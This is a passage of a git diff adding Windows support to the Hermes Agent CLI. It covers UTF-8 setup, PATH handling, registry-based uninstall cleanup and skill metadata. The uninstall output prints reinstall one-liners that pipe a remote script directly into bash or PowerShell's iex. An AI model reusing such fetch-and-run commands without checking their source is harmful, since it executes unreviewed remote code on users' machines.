child Python process spawned by the agent to also use + # UTF-8 for its stdio. PYTHONIOENCODING wins over the locale-based + # default in subprocesses. Don't override an explicit user setting. + os.environ.setdefault("PYTHONIOENCODING", "utf-8") + # PYTHONUTF8 = 1 enables UTF-8 Mode globally for any Python subprocess + # (PEP 540). Again, don't override an explicit setting. + os.environ.setdefault("PYTHONUTF8", "1") + + # Set EDITOR to a working Windows default if neither EDITOR nor VISUAL + # is set. prompt_toolkit's ``open_in_editor`` falls back to POSIX-only + # paths (``/usr/bin/nano``, ``/usr/bin/vi``) that don't exist on + # Windows — Ctrl+X Ctrl+E and ``/edit`` silently do nothing there + # otherwise. This happens even with full Git for Windows installed, + # so it's not a MinGit-specific issue. + _default_editor = _default_windows_editor() + if _default_editor and not os.environ.get("EDITOR") and not os.environ.get("VISUAL"): + os.environ["EDITOR"] = _default_editor + + # Augment PATH with the Hermes-managed Git install directories so + # subprocess calls (bash, rg, grep, etc.) resolve even in sessions + # that started before the User PATH broadcast reached them. When + # install.ps1 adds these to User PATH via SetEnvironmentVariable, + # already-running shells don't see the change — which means hermes + # launched from the install session won't find rg / bash / grep + # even though they're "installed". Prepending the known paths here + # closes that gap. No-op when the paths don't exist (e.g. system-Git + # install without Hermes-managed PortableGit). + _augment_path_with_known_tools() + + # Flip the console code page first so that any subprocess that + # inherits the console (e.g. a launched shell) also sees CP_UTF8. + _flip_console_code_page_to_utf8() + + # Reconfigure Python's own stdio wrappers so ``print()`` calls from + # this process round-trip emoji / box-drawing / non-Latin text. + # ``errors="replace"`` means a genuinely unencodable byte sequence + # gets a ``?`` rather than crashing the interpreter — we prefer + # degraded output over a stack trace. + _reconfigure_stream(sys.stdout) + _reconfigure_stream(sys.stderr) + # stdin is re-configured for completeness; Hermes's interactive + # input path uses prompt_toolkit which manages its own encoding, + # but batch/pipe input benefits from UTF-8 decoding on stdin too. + _reconfigure_stream(sys.stdin) + + _CONFIGURED = True + return True + + +def _default_windows_editor() -> str: + """Return a Windows-appropriate default for ``$EDITOR``. + + Priority order, first match wins: + + 1. ``notepad`` — ships with every Windows install, no deps, works as a + blocking editor (``subprocess.call(["notepad", file])`` blocks until + the user closes the window). This is the "always-works" default. + + The prompt_toolkit buffer's ``open_in_editor`` and Hermes's + ``hermes config edit`` both honour ``$EDITOR``. Users who prefer a + different editor can override: + + - VSCode: ``$env:EDITOR = "code --wait"`` (``--wait`` is critical; + without it the editor returns immediately and any input is lost) + - Notepad++: ``$env:EDITOR = "'C:\\Program Files\\Notepad++\\notepad++.exe' -multiInst -nosession"`` + - Neovim: ``$env:EDITOR = "nvim"`` (if installed) + + Set this before launching Hermes (User env var in Windows Settings, or + export in a PowerShell profile) and Hermes picks it up automatically. + """ + import shutil + + # notepad.exe is always in %SystemRoot%\System32 on Windows, so shutil.which + # will reliably find it. Return the bare name so prompt_toolkit's shlex + # split doesn't trip over a path containing spaces. + if shutil.which("notepad"): + return "notepad" + # On the extreme off-chance notepad is missing (WinPE, Nano Server), fall + # back to nothing and let prompt_toolkit's silent no-op do its thing. + return "" + + + +def _augment_path_with_known_tools() -> None: + """Prepend well-known Hermes-managed tool directories to os.environ['PATH']. + + Fixes the "User PATH was just updated but my process can't see it" gap on + Windows. When install.ps1 runs, it adds entries like + ``%LOCALAPPDATA%\\hermes\\git\\bin`` to the User PATH via + ``SetEnvironmentVariable(..., "User")``. That write propagates to newly + *spawned* processes only — already-running shells (including the one the + user invokes ``hermes`` from right after install) retain their old PATH. + + Any subprocess Hermes spawns — bash, ``rg``, ``grep``, ``npm`` — inherits + that stale PATH and reports commands as missing even though they're on + disk. Symptom: ``search_files`` reports "rg/find not available" when + the user clearly just installed ripgrep. + + Patch-up strategy: add the known Hermes-managed tool directories to our + PATH at startup so subprocess calls resolve correctly. No-op on POSIX + and when the directories don't exist. The User PATH broadcast still + happens in the background for future shells; this just smooths over + the first-launch gap. + """ + if not is_windows(): + return + + import shutil as _shutil + + local_appdata = os.environ.get("LOCALAPPDATA", "") + if not local_appdata: + return + + # Known tool dirs installed by scripts/install.ps1. Kept in sync with + # the PATH entries that installer adds to User scope — the two lists + # should match so this prefill fully mirrors what a fresh shell would + # see on next launch. + candidate_dirs = [ + os.path.join(local_appdata, "hermes", "git", "cmd"), + os.path.join(local_appdata, "hermes", "git", "bin"), + os.path.join(local_appdata, "hermes", "git", "usr", "bin"), + # Hermes venv Scripts directory — host of the hermes.exe shim itself, + # also where any pip-installed console scripts land. Usually already + # on PATH when the user invokes hermes, but harmless to include. + os.path.join(local_appdata, "hermes", "hermes-agent", "venv", "Scripts"), + # WinGet packages directory — where ``winget install`` drops CLI + # shims by default (ripgrep lands here as rg.exe). Covers the case + # of a system-Git install + ripgrep-via-winget that isn't yet on + # the spawning shell's PATH. + os.path.join(local_appdata, "Microsoft", "WinGet", "Links"), + ] + + existing = os.environ.get("PATH", "") + existing_lower = {p.lower() for p in existing.split(os.pathsep) if p} + prepend = [] + for d in candidate_dirs: + if os.path.isdir(d) and d.lower() not in existing_lower: + prepend.append(d) + + if prepend: + os.environ["PATH"] = os.pathsep.join([*prepend, existing]) diff --git a/hermes_cli/tips.py b/hermes_cli/tips.py index 77329d9f87c..51f4dd2c0b6 100644 --- a/hermes_cli/tips.py +++ b/hermes_cli/tips.py @@ -54,7 +54,7 @@ TIPS = [ "Combine multiple references: \"Review @file:main.py and @file:test.py for consistency.\"", # --- Keybindings --- - "Alt+Enter (or Ctrl+J) inserts a newline for multi-line input.", + "Alt+Enter inserts a newline for multi-line input. (Windows Terminal intercepts Alt+Enter — use Ctrl+Enter instead.)", "Ctrl+C interrupts the agent. Double-press within 2 seconds to force exit.", "Ctrl+Z suspends Hermes to the background — run fg in your shell to resume.", "Tab accepts auto-suggestion ghost text or autocompletes slash commands.", diff --git a/hermes_cli/tools_config.py b/hermes_cli/tools_config.py index 785e2b6c848..152877c2261 100644 --- a/hermes_cli/tools_config.py +++ b/hermes_cli/tools_config.py @@ -531,8 +531,12 @@ def _run_post_setup(post_setup_key: str): if not node_modules.exists() and npm_bin: _print_info(" Installing Node.js dependencies for browser tools...") import subprocess + # Use the resolved npm_bin absolute path so subprocess.Popen can + # execute npm.cmd on Windows (CreateProcessW otherwise rejects + # batch shims). On POSIX npm_bin is the plain path — same + # behaviour as before. result = subprocess.run( - ["npm", "install", "--silent"], + [npm_bin, "install", "--silent"], capture_output=True, text=True, cwd=str(PROJECT_ROOT) ) if result.returncode == 0: @@ -631,11 +635,13 @@ def _run_post_setup(post_setup_key: str): elif post_setup_key == "camofox": camofox_dir = PROJECT_ROOT / "node_modules" / "@askjo" / "camofox-browser" - if not camofox_dir.exists() and shutil.which("npm"): + _npm_bin = shutil.which("npm") + if not camofox_dir.exists() and _npm_bin: _print_info(" Installing Camofox browser server...") import subprocess + # Absolute npm path so .cmd shim executes on Windows. result = subprocess.run( - ["npm", "install", "--silent"], + [_npm_bin, "install", "--silent"], capture_output=True, text=True, cwd=str(PROJECT_ROOT) ) if result.returncode == 0: diff --git a/hermes_cli/uninstall.py b/hermes_cli/uninstall.py index 67cea418209..f14c2358750 100644 --- a/hermes_cli/uninstall.py +++ b/hermes_cli/uninstall.py @@ -118,12 +118,13 @@ def remove_wrapper_script(): def uninstall_gateway_service(): - """Stop and uninstall the gateway service (systemd, launchd) and kill any - standalone gateway processes. + """Stop and uninstall the gateway service (systemd, launchd, Windows + Scheduled Task / Startup folder) and kill any standalone gateway processes. Delegates to the gateway module which handles: - Linux: user + system systemd services (with proper DBUS env setup) - macOS: launchd plists + - Windows: Scheduled Task + Startup-folder fallback, via ``gateway_windows`` - All platforms: standalone ``hermes gateway run`` processes - Termux/Android: skips systemd (no systemd on Android), still kills standalone processes """ @@ -167,7 +168,7 @@ def uninstall_gateway_service(): scope = "system" if is_system else "user" try: - if is_system and os.geteuid() != 0: + if is_system and os.geteuid() != 0: # windows-footgun: ok — Linux systemd uninstall path, guarded by `if system == "Linux"` above log_warn(f"System gateway service exists at {unit_path} " f"but needs sudo to remove") continue @@ -201,9 +202,163 @@ def uninstall_gateway_service(): except Exception as e: log_warn(f"Could not remove launchd gateway service: {e}") + # 4. Windows: uninstall Scheduled Task + Startup-folder entry. The + # gateway_windows module already knows how to locate and remove both + # code paths (schtasks /Delete + .cmd unlink) and how to stop any + # running detached pythonw gateway process. We call into it so the + # uninstall logic stays in exactly one place. + elif system == "Windows": + try: + from hermes_cli import gateway_windows + if gateway_windows.is_installed() or gateway_windows.is_task_registered() \ + or gateway_windows.is_startup_entry_installed(): + try: + gateway_windows.stop() + except Exception as e: + log_warn(f"Could not stop Windows gateway cleanly: {e}") + try: + gateway_windows.uninstall() + log_success("Removed Windows gateway (Scheduled Task + Startup entry)") + stopped_something = True + except Exception as e: + log_warn(f"Could not fully uninstall Windows gateway: {e}") + except Exception as e: + log_warn(f"Could not check Windows gateway service: {e}") + return stopped_something +# ============================================================================ +# Windows-specific uninstall helpers +# ============================================================================ +# +# The installer (``scripts/install.ps1``) does four Windows-only things that +# ``remove_path_from_shell_configs`` / ``remove_wrapper_script`` don't cover: +# +# 1. Sets User-scope env vars ``HERMES_HOME`` and ``HERMES_GIT_BASH_PATH`` +# via ``[Environment]::SetEnvironmentVariable(..., "User")``. These +# don't live in ~/.bashrc — they're in the Windows registry at +# HKCU\Environment. +# 2. Prepends to User-scope ``PATH`` (same registry location) entries +# like ``%LOCALAPPDATA%\hermes\git\cmd``, ``%LOCALAPPDATA%\hermes\git\bin``, +# ``%LOCALAPPDATA%\hermes\git\usr\bin``, ``%LOCALAPPDATA%\hermes\node``. +# Again not in any rc file — only accessible via the registry or the +# .NET [Environment] API. +# 3. Downloads PortableGit to ``%LOCALAPPDATA%\hermes\git\`` and Node to +# ``%LOCALAPPDATA%\hermes\node\`` as user-scoped, isolated copies. +# These are ~200MB combined and serve no purpose after uninstall. +# 4. On the ``hermes dashboard`` + gateway paths, drops files into +# ``%LOCALAPPDATA%\hermes\gateway-service\`` and sometimes +# ``%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\`` — the +# latter is handled by ``gateway_windows.uninstall()`` already. +# +# Running a PowerShell one-liner per operation is overkill and fragile on +# locked-down machines (Constrained Language Mode, restricted ExecutionPolicy). +# Direct registry writes via ``winreg`` work without spawning any subprocess +# and apply immediately for new shells (SendMessage WM_SETTINGCHANGE would +# be nicer but requires ctypes and buys us nothing — the user will log out +# or open a new terminal anyway). + + +def _hermes_path_markers(hermes_home: Path) -> list[str]: + """Path-entry substrings that identify Hermes-owned User-PATH entries.""" + root = str(hermes_home).rstrip("\\/") + # Match on prefix so sub-entries (git\cmd, git\bin, git\usr\bin, node, etc.) + # all get swept. Also match the bare hermes-agent install dir. + markers = [root + "\\hermes-agent", root + "\\git", root + "\\node", root + "\\venv"] + # Also match if HERMES_HOME was customised to somewhere else — find-and-nuke + # any entry whose path component contains "hermes". We don't want to catch + # unrelated entries like "chermes-foo" or "ephermeral", so we look for + # backslash-hermes as a word-ish boundary. + return markers + + +def remove_path_from_windows_registry(hermes_home: Path) -> list[str]: + """Strip Hermes-owned entries from User-scope PATH in the registry. + + Returns the list of removed path entries. Operates on HKCU\\Environment, + same key the installer wrote to via ``[Environment]::SetEnvironmentVariable``. + """ + try: + import winreg + except ImportError: + return [] # not on Windows, nothing to do + + removed: list[str] = [] + key_path = "Environment" + try: + with winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, + winreg.KEY_READ | winreg.KEY_WRITE) as key: + try: + path_value, path_type = winreg.QueryValueEx(key, "Path") + except FileNotFoundError: + return [] + # Preserve REG_EXPAND_SZ vs REG_SZ so unexpanded %VARS% survive. + entries = [e for e in path_value.split(";") if e] + markers = _hermes_path_markers(hermes_home) + kept: list[str] = [] + for entry in entries: + entry_norm = entry.rstrip("\\/") + matched = any(entry_norm.lower().startswith(m.lower()) for m in markers) + if matched: + removed.append(entry) + else: + kept.append(entry) + if removed: + new_value = ";".join(kept) + winreg.SetValueEx(key, "Path", 0, path_type, new_value) + except OSError as e: + log_warn(f"Could not edit User PATH in registry: {e}") + return removed + + +def remove_hermes_env_vars_windows() -> list[str]: + """Delete HERMES_HOME and HERMES_GIT_BASH_PATH from User-scope env vars.""" + try: + import winreg + except ImportError: + return [] + + removed: list[str] = [] + try: + with winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Environment", 0, + winreg.KEY_READ | winreg.KEY_WRITE) as key: + for name in ("HERMES_HOME", "HERMES_GIT_BASH_PATH"): + try: + winreg.QueryValueEx(key, name) + except FileNotFoundError: + continue + try: + winreg.DeleteValue(key, name) + removed.append(name) + except OSError as e: + log_warn(f"Could not delete {name} from User env: {e}") + except OSError as e: + log_warn(f"Could not open User Environment key: {e}") + return removed + + +def remove_portable_tooling_windows(hermes_home: Path) -> list[Path]: + """Delete PortableGit and Node installs the Windows installer created under + ``%LOCALAPPDATA%\\hermes\\``. Only called on full uninstall; they're + isolated from any system Git / Node so they cannot break other tools.""" + removed: list[Path] = [] + for sub in ("git", "node", "gateway-service"): + target = hermes_home / sub + if target.exists(): + try: + shutil.rmtree(target, ignore_errors=False) + removed.append(target) + except Exception as e: + log_warn(f"Could not remove {target}: {e}") + return removed + + +def _is_windows() -> bool: + import sys + return sys.platform == "win32" + + def _is_default_hermes_home(hermes_home: Path) -> bool: """Return True when ``hermes_home`` points at the default (non-profile) root.""" try: @@ -400,14 +555,36 @@ def run_uninstall(args): if not uninstall_gateway_service(): log_info("No gateway service or processes found") - # 2. Remove PATH entries from shell configs + # 2. Remove PATH entries from shell configs (POSIX) AND from the Windows + # User-scope registry. Both helpers no-op on the wrong platform so we + # can safely call them unconditionally. log_info("Removing PATH entries from shell configs...") removed_configs = remove_path_from_shell_configs() if removed_configs: for config in removed_configs: log_success(f"Updated {config}") else: - log_info("No PATH entries found to remove") + log_info("No PATH entries found to remove in shell rc files") + + if _is_windows(): + log_info("Removing PATH entries from Windows User environment...") + # Expand %LOCALAPPDATA% etc. in hermes_home so the marker matching is + # against fully resolved paths — installer writes literal strings + # like C:\Users\\AppData\Local\hermes\git\cmd, not %LOCALAPPDATA%. + removed_path_entries = remove_path_from_windows_registry(Path(os.path.expandvars(str(hermes_home)))) + if removed_path_entries: + for entry in removed_path_entries: + log_success(f"Removed from User PATH: {entry}") + else: + log_info("No Hermes-owned PATH entries in User environment") + + log_info("Removing HERMES_HOME / HERMES_GIT_BASH_PATH User env vars...") + removed_env = remove_hermes_env_vars_windows() + if removed_env: + for name in removed_env: + log_success(f"Removed User env var: {name}") + else: + log_info("No Hermes-set User env vars to remove") # 3. Remove wrapper script log_info("Removing hermes command...") @@ -436,6 +613,21 @@ def run_uninstall(args): except Exception as e: log_warn(f"Could not fully remove {project_root}: {e}") log_info("You may need to manually remove it") + + # 4b. Remove Windows-only installer artifacts that are NOT user data: + # PortableGit, bundled Node, gateway-service dir. Installer put them + # under HERMES_HOME but they're install tooling, not config — safe to + # remove even in "keep data" mode. If we're doing a full uninstall + # the step-5 rmtree(hermes_home) would sweep them anyway; calling + # this helper there is a no-op since they'll already be gone. + if _is_windows(): + log_info("Removing Windows installer artifacts (PortableGit, Node, gateway-service)...") + removed_artifacts = remove_portable_tooling_windows(hermes_home) + if removed_artifacts: + for path in removed_artifacts: + log_success(f"Removed {path}") + else: + log_info("No Windows installer artifacts to remove") # 5. Optionally remove ~/.hermes/ data directory (and named profiles) if full_uninstall: @@ -471,11 +663,18 @@ def run_uninstall(args): print(f" {hermes_home}/") print() print("To reinstall later with your existing settings:") - print(color(" curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash", Colors.DIM)) + if _is_windows(): + print(color(" irm https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1 | iex", Colors.DIM)) + else: + print(color(" curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash", Colors.DIM)) print() - - print(color("Reload your shell to complete the process:", Colors.YELLOW)) - print(" source ~/.bashrc # or ~/.zshrc") + + if _is_windows(): + print(color("Open a new terminal (PowerShell / Windows Terminal) to pick up", Colors.YELLOW)) + print(color("the updated User PATH and environment variables.", Colors.YELLOW)) + else: + print(color("Reload your shell to complete the process:", Colors.YELLOW)) + print(" source ~/.bashrc # or ~/.zshrc") print() print("Thank you for using Hermes Agent! ⚕") print() diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index 341052de311..1c8b13f4f7d 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -929,7 +929,7 @@ def _tail_lines(path: Path, n: int) -> List[str]: if not path.exists(): return [] try: - text = path.read_text(errors="replace") + text = path.read_text(encoding="utf-8", errors="replace") except OSError: return [] lines = text.splitlines() @@ -3756,7 +3756,20 @@ async def get_models_analytics(days: int = 30): import re import asyncio -from hermes_cli.pty_bridge import PtyBridge, PtyUnavailableError +# PTY bridge is POSIX-only (depends on fcntl/termios/ptyprocess). On native +# Windows the import raises; catch and leave PtyBridge=None so the rest of +# the dashboard (sessions, jobs, metrics, config editor) still loads and the +# /api/pty endpoint cleanly refuses with a WSL-suggested message. +try: + from hermes_cli.pty_bridge import PtyBridge, PtyUnavailableError + _PTY_BRIDGE_AVAILABLE = True +except ImportError as _pty_import_err: # pragma: no cover - Windows-only path + PtyBridge = None # type: ignore[assignment] + _PTY_BRIDGE_AVAILABLE = False + + class PtyUnavailableError(RuntimeError): # type: ignore[no-redef] + """Stub on platforms where pty_bridge can't be imported.""" + pass _RESIZE_RE = re.compile(rb"\x1b\[RESIZE:(\d+);(\d+)\]") _PTY_READ_CHUNK_TIMEOUT = 0.2 @@ -3911,6 +3924,18 @@ async def pty_ws(ws: WebSocket) -> None: await ws.accept() + # On native Windows, the POSIX PTY bridge can't be imported. Tell the + # client and close cleanly rather than pretending the feature works. + if not _PTY_BRIDGE_AVAILABLE: + await ws.send_text( + "\r\n\x1b[31mChat unavailable: the embedded terminal requires a " + "POSIX PTY, which native Windows Python doesn't provide.\x1b[0m\r\n" + "\x1b[33mInstall Hermes inside WSL2 to use the dashboard's /chat " + "tab — the rest of the dashboard works here.\x1b[0m\r\n" + ) + await ws.close(code=1011) + return + # --- spawn PTY ------------------------------------------------------ resume = ws.query_params.get("resume") or None channel = _channel_or_close_code(ws) diff --git a/hermes_constants.py b/hermes_constants.py index e63a4ec301e..bdb8dc9114f 100644 --- a/hermes_constants.py +++ b/hermes_constants.py @@ -233,7 +233,7 @@ def is_wsl() -> bool: if _wsl_detected is not None: return _wsl_detected try: - with open("/proc/version", "r") as f: + with open("/proc/version", "r", encoding="utf-8") as f: _wsl_detected = "microsoft" in f.read().lower() except Exception: _wsl_detected = False @@ -260,7 +260,7 @@ def is_container() -> bool: _container_detected = True return True try: - with open("/proc/1/cgroup", "r") as f: + with open("/proc/1/cgroup", "r", encoding="utf-8") as f: cgroup = f.read() if "docker" in cgroup or "podman" in cgroup or "/lxc/" in cgroup: _container_detected = True diff --git a/hermes_time.py b/hermes_time.py index 9f172d28ffb..aceb82b3e5b 100644 --- a/hermes_time.py +++ b/hermes_time.py @@ -50,7 +50,7 @@ def _resolve_timezone_name() -> str: import yaml config_path = get_config_path() if config_path.exists(): - with open(config_path) as f: + with open(config_path, encoding="utf-8") as f: cfg = yaml.safe_load(f) or {} tz_cfg = cfg.get("timezone", "") if isinstance(tz_cfg, str) and tz_cfg.strip(): diff --git a/optional-skills/autonomous-ai-agents/blackbox/SKILL.md b/optional-skills/autonomous-ai-agents/blackbox/SKILL.md index cc190af35f1..a3af9f722cc 100644 --- a/optional-skills/autonomous-ai-agents/blackbox/SKILL.md +++ b/optional-skills/autonomous-ai-agents/blackbox/SKILL.md @@ -4,6 +4,7 @@ description: Delegate coding tasks to Blackbox AI CLI agent. Multi-model agent w version: 1.0.0 author: Hermes Agent (Nous Research) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Coding-Agent, Blackbox, Multi-Agent, Judge, Multi-Model] diff --git a/optional-skills/autonomous-ai-agents/honcho/SKILL.md b/optional-skills/autonomous-ai-agents/honcho/SKILL.md index 1c099ca605f..865d844df26 100644 --- a/optional-skills/autonomous-ai-agents/honcho/SKILL.md +++ b/optional-skills/autonomous-ai-agents/honcho/SKILL.md @@ -4,6 +4,7 @@ description: Configure and use Honcho memory with Hermes -- cross-session user m version: 2.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Honcho, Memory, Profiles, Observation, Dialectic, User-Modeling, Session-Summary] diff --git a/optional-skills/blockchain/base/SKILL.md b/optional-skills/blockchain/base/SKILL.md index a1d197147da..b5c041a9714 100644 --- a/optional-skills/blockchain/base/SKILL.md +++ b/optional-skills/blockchain/base/SKILL.md @@ -4,6 +4,7 @@ description: Query Base (Ethereum L2) blockchain data with USD pricing — walle version: 0.1.0 author: youssefea license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Base, Blockchain, Crypto, Web3, RPC, DeFi, EVM, L2, Ethereum] diff --git a/optional-skills/blockchain/solana/SKILL.md b/optional-skills/blockchain/solana/SKILL.md index 59b988392a8..e7d62536a8c 100644 --- a/optional-skills/blockchain/solana/SKILL.md +++ b/optional-skills/blockchain/solana/SKILL.md @@ -4,6 +4,7 @@ description: Query Solana blockchain data with USD pricing — wallet balances, version: 0.2.0 author: Deniz Alagoz (gizdusum), enhanced by Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Solana, Blockchain, Crypto, Web3, RPC, DeFi, NFT] diff --git a/optional-skills/communication/one-three-one-rule/SKILL.md b/optional-skills/communication/one-three-one-rule/SKILL.md index ca0ccd449b8..3c7b4163af9 100644 --- a/optional-skills/communication/one-three-one-rule/SKILL.md +++ b/optional-skills/communication/one-three-one-rule/SKILL.md @@ -8,6 +8,7 @@ description: > and one concrete recommendation with definition of done and implementation plan. Use when the user asks for a "1-3-1", says "give me options", or needs help choosing between competing approaches. +platforms: [linux, macos, windows] version: 1.0.0 author: Willard Moore license: MIT diff --git a/optional-skills/creative/blender-mcp/SKILL.md b/optional-skills/creative/blender-mcp/SKILL.md index bdcb98a3c7a..ed08c8d9673 100644 --- a/optional-skills/creative/blender-mcp/SKILL.md +++ b/optional-skills/creative/blender-mcp/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 requires: Blender 4.3+ (desktop instance required, headless not supported) author: alireza78a tags: [blender, 3d, animation, modeling, bpy, mcp] +platforms: [linux, macos, windows] --- # Blender MCP diff --git a/optional-skills/creative/concept-diagrams/SKILL.md b/optional-skills/creative/concept-diagrams/SKILL.md index 03497c0c2f3..6017d4fd121 100644 --- a/optional-skills/creative/concept-diagrams/SKILL.md +++ b/optional-skills/creative/concept-diagrams/SKILL.md @@ -5,6 +5,7 @@ version: 0.1.0 author: v1k22 (original PR), ported into hermes-agent license: MIT dependencies: [] +platforms: [linux, macos, windows] metadata: hermes: tags: [diagrams, svg, visualization, education, physics, chemistry, engineering] diff --git a/optional-skills/creative/hyperframes/SKILL.md b/optional-skills/creative/hyperframes/SKILL.md index 809a42052b9..0f6fd9bf51b 100644 --- a/optional-skills/creative/hyperframes/SKILL.md +++ b/optional-skills/creative/hyperframes/SKILL.md @@ -4,6 +4,7 @@ description: Create HTML-based video compositions, animated title cards, social version: 1.0.0 author: heygen-com license: Apache-2.0 +platforms: [linux, macos, windows] prerequisites: commands: [node, ffmpeg, npx] metadata: diff --git a/optional-skills/creative/kanban-video-orchestrator/SKILL.md b/optional-skills/creative/kanban-video-orchestrator/SKILL.md index 114e774ff63..f06972abd5f 100644 --- a/optional-skills/creative/kanban-video-orchestrator/SKILL.md +++ b/optional-skills/creative/kanban-video-orchestrator/SKILL.md @@ -4,6 +4,7 @@ description: Plan, set up, and monitor a multi-agent video production pipeline b version: 1.0.0 author: [SHL0MS, alt-glitch] license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [video, kanban, multi-agent, orchestration, production-pipeline] diff --git a/optional-skills/creative/meme-generation/SKILL.md b/optional-skills/creative/meme-generation/SKILL.md index 563408f4f77..da17b6de236 100644 --- a/optional-skills/creative/meme-generation/SKILL.md +++ b/optional-skills/creative/meme-generation/SKILL.md @@ -4,6 +4,7 @@ description: Generate real meme images by picking a template and overlaying text version: 2.0.0 author: adanaleycio license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [creative, memes, humor, images] diff --git a/optional-skills/devops/cli/SKILL.md b/optional-skills/devops/cli/SKILL.md index 79183f61c2b..62c85db88ab 100644 --- a/optional-skills/devops/cli/SKILL.md +++ b/optional-skills/devops/cli/SKILL.md @@ -4,6 +4,7 @@ description: "Run 150+ AI apps via inference.sh CLI (infsh) — image generation version: 1.0.0 author: okaris license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [AI, image-generation, video, LLM, search, inference, FLUX, Veo, Claude] diff --git a/optional-skills/devops/docker-management/SKILL.md b/optional-skills/devops/docker-management/SKILL.md index db0341d3e61..a6fdebdce69 100755 --- a/optional-skills/devops/docker-management/SKILL.md +++ b/optional-skills/devops/docker-management/SKILL.md @@ -4,6 +4,7 @@ description: Manage Docker containers, images, volumes, networks, and Compose st version: 1.0.0 author: sprmn24 license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [docker, containers, devops, infrastructure, compose, images, volumes, networks, debugging] diff --git a/optional-skills/dogfood/adversarial-ux-test/SKILL.md b/optional-skills/dogfood/adversarial-ux-test/SKILL.md index 1777e083d1b..abb9e69b3a7 100644 --- a/optional-skills/dogfood/adversarial-ux-test/SKILL.md +++ b/optional-skills/dogfood/adversarial-ux-test/SKILL.md @@ -4,6 +4,7 @@ description: Roleplay the most difficult, tech-resistant user for your product. version: 1.0.0 author: Omni @ Comelse license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [qa, ux, testing, adversarial, dogfood, personas, user-testing] diff --git a/optional-skills/email/agentmail/SKILL.md b/optional-skills/email/agentmail/SKILL.md index 3ca753d3c1a..5ddc7fd8757 100644 --- a/optional-skills/email/agentmail/SKILL.md +++ b/optional-skills/email/agentmail/SKILL.md @@ -2,6 +2,7 @@ name: agentmail description: Give the agent its own dedicated email inbox via AgentMail. Send, receive, and manage email autonomously using agent-owned email addresses (e.g. hermes-agent@agentmail.to). version: 1.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [email, communication, agentmail, mcp] diff --git a/optional-skills/finance/3-statement-model/SKILL.md b/optional-skills/finance/3-statement-model/SKILL.md index 79718c66cd4..4ee55619dc9 100644 --- a/optional-skills/finance/3-statement-model/SKILL.md +++ b/optional-skills/finance/3-statement-model/SKILL.md @@ -4,6 +4,7 @@ description: Build fully-integrated 3-statement models (IS, BS, CF) in Excel wit version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [finance, three-statement, income-statement, balance-sheet, cash-flow, excel, openpyxl, modeling] diff --git a/optional-skills/finance/comps-analysis/SKILL.md b/optional-skills/finance/comps-analysis/SKILL.md index 39c968d9af5..2d4c34b7535 100644 --- a/optional-skills/finance/comps-analysis/SKILL.md +++ b/optional-skills/finance/comps-analysis/SKILL.md @@ -4,6 +4,7 @@ description: Build comparable company analysis in Excel — operating metrics, v version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [finance, valuation, comps, excel, openpyxl, modeling, investment-banking] diff --git a/optional-skills/finance/dcf-model/SKILL.md b/optional-skills/finance/dcf-model/SKILL.md index 75a9d7de5f7..a171fb7e4dd 100644 --- a/optional-skills/finance/dcf-model/SKILL.md +++ b/optional-skills/finance/dcf-model/SKILL.md @@ -4,6 +4,7 @@ description: Build institutional-quality DCF valuation models in Excel — reven version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [finance, valuation, dcf, excel, openpyxl, modeling, investment-banking] diff --git a/optional-skills/finance/excel-author/SKILL.md b/optional-skills/finance/excel-author/SKILL.md index 1a46b409393..b8eb1b36862 100644 --- a/optional-skills/finance/excel-author/SKILL.md +++ b/optional-skills/finance/excel-author/SKILL.md @@ -4,6 +4,7 @@ description: Build auditable Excel workbooks headless with openpyxl — blue/bla version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [excel, openpyxl, finance, spreadsheet, modeling] diff --git a/optional-skills/finance/lbo-model/SKILL.md b/optional-skills/finance/lbo-model/SKILL.md index 03fd0cbe56c..64eaf896fa6 100644 --- a/optional-skills/finance/lbo-model/SKILL.md +++ b/optional-skills/finance/lbo-model/SKILL.md @@ -4,6 +4,7 @@ description: Build leveraged buyout models in Excel — sources & uses, debt sch version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [finance, valuation, lbo, private-equity, excel, openpyxl, modeling] diff --git a/optional-skills/finance/merger-model/SKILL.md b/optional-skills/finance/merger-model/SKILL.md index b2e2f88bc35..e98b4b577ba 100644 --- a/optional-skills/finance/merger-model/SKILL.md +++ b/optional-skills/finance/merger-model/SKILL.md @@ -4,6 +4,7 @@ description: Build accretion/dilution (merger) models in Excel — pro-forma P&L version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [finance, m-and-a, merger, accretion-dilution, excel, openpyxl, modeling, investment-banking] diff --git a/optional-skills/finance/pptx-author/SKILL.md b/optional-skills/finance/pptx-author/SKILL.md index b52f9929758..a0c490904ba 100644 --- a/optional-skills/finance/pptx-author/SKILL.md +++ b/optional-skills/finance/pptx-author/SKILL.md @@ -4,6 +4,7 @@ description: Build PowerPoint 